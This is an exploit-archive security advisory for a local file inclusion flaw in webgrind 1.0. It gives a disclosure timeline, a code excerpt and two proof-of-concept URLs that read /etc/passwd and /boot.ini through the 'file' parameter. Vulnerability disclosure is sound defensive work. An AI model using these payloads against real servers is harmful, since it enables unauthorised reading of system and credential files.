exploit the possibilities

webgrind 1.0 Local File Inclusion

webgrind 1.0 Local File Inclusion
Posted Feb 25, 2012
Authored by LiquidWorm | Site zeroscience.mk

webgrind version 1.0 suffers from a local file inclusion vulnerability.

tags | exploit, local, file inclusion
MD5 | a576920c66b28c55c675fa77ab1120b9

webgrind 1.0 Local File Inclusion

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webgrind 1.0 (file param) Local File Inclusion Vulnerability


Vendor: Joakim Nygard and Jacob Oettinger
Product web page: http://code.google.com/p/webgrind
Affected version: 1.0 (v1.02 in trunk on github)

Summary: Webgrind is an Xdebug profiling web frontend in PHP5.

Desc: webgrind suffers from a file inlcusion vulnerability (LFI)
when input passed thru the 'file' parameter to index.php is not
properly verified before being used to include files. This can be
exploited to include files from local resources with directory
traversal attacks and URL encoded NULL bytes.

----------------------------------------
/index.php:
-----------

122: case 'fileviewer':
123: $file = get('file');
124: $line = get('line');

----------------------------------------

Tested on: Microsoft Windows XP Professional SP3 (EN)
Apache 2.2.21
PHP 5.3.9
MySQL 5.5.20


Vulnerability discovered by Michael Meyer
michael.meyer greenbone net


Vendor status:

[22.02.2012] Vulnerability discovered.
[22.02.2012] Vendor notified.
[24.02.2012] No response from the vendor.
[25.02.2012] Public security advisory released.


Advisory ID: ZSL-2012-5075
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5075.php

Vendor: http://code.google.com/p/webgrind/issues/detail?id=66


22.02.2012

---


http://<host>/webgrind/index.php?file=/etc/passwd&op=fileviewer
http://<host>/webgrind/index.php?file=/boot.ini&op=fileviewer

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